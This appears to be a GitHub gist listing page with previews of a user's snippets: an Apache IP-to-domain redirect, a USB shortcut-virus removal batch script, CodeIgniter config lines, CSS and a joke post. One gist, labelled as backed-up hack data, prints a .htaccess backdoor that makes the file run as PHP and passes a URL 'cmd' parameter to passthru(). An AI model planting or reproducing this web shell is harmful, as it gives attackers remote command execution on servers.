Skip to content

Instantly share code, notes, and snippets.

@Barneybook
Barneybook / .htaccess
Last active May 7, 2020
IP 35.53.125.135 to abc.com (IP 跳轉 domain) Redirect IP address to Domain name Apache
View .htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^35\.53\.125\.135$
RewriteRule ^(.*)$ http://abc.com/$1 [L,R=301]
</IfModule>
@Barneybook
Barneybook / 刪除並修復隨身碟捷徑病毒v3.3.bat
Created May 13, 2019
刪除並修復隨身碟捷徑病毒v3.3.bat
View 刪除並修復隨身碟捷徑病毒v3.3.bat
@echo off
echo =========捷徑病毒修復程式說明=========
echo;
echo 編輯者:Lun 2017.12.06 版本:v3.3
echo;
echo 適用狀況:所有檔案皆變為捷徑檔、隨身碟點開變為捷徑。
echo;
echo 修復程式僅會刪除病毒檔案,其餘非病毒相關檔案並不影響。
echo;
echo 程式請以→右鍵→"系統管理員身分執行"
@Barneybook
Barneybook / 201805.md
Last active May 31, 2018
2018年5月各種紀錄
@Barneybook
Barneybook / Telegram_it_group_list.md
Last active Mar 2, 2021
Telegram 資訊相關 群組清單
View Telegram_it_group_list.md
@Barneybook
Barneybook / config.php
Created Apr 20, 2017
Codeigniter base_url setting
View config.php
<?php
// false
$root = ($_SERVER['SERVER_PORT'] == 443 ? 'https' : 'http');
// false
$root = "http".((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "");
// false
$root = (empty($_SERVER['HTTPS']) OR strtolower($_SERVER['HTTPS']) === 'off') ? 'http' : 'https';
@Barneybook
Barneybook / .htaccess
Last active Dec 4, 2016
Hack data backup 20161202
View .htaccess
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']);?>
# BEGIN rlrssslReallySimpleSSL rsssl_version[2.4.1]
<IfModule mod_rewrite.c>
RewriteEngine on
View old_save_20160428.css
/*小徽章*/
.award_bar img { width:39px;height: 39px; }
/*小徽章排排站*/
.award_bar {
background:url(http://blog.citytalk.tw/wp-content/uploads/2010/04/plurk_icon.png) no-repeat scroll 0px 60px; min-height:480px;
position:absolute !important;
margin-top:60px !important;
width:500px !important;
}
@Barneybook
Barneybook / yee01.txt
Last active Oct 6, 2015
[kuso] 蟻姨椅yee
View yee01.txt
https://www.ptt.cc/bbs/joke/M.1443701763.A.AC1.html
作者kevin1ptt (台大陳柏霖)
看板joke
標題[kuso] 蟻姨椅yee
時間Thu Oct 1 20:16:00 2015
一蟻倚椅,伊意怡逸。
蟻姨遺椅,疑蟻移椅;
蟻議伊椅,異姨佚椅。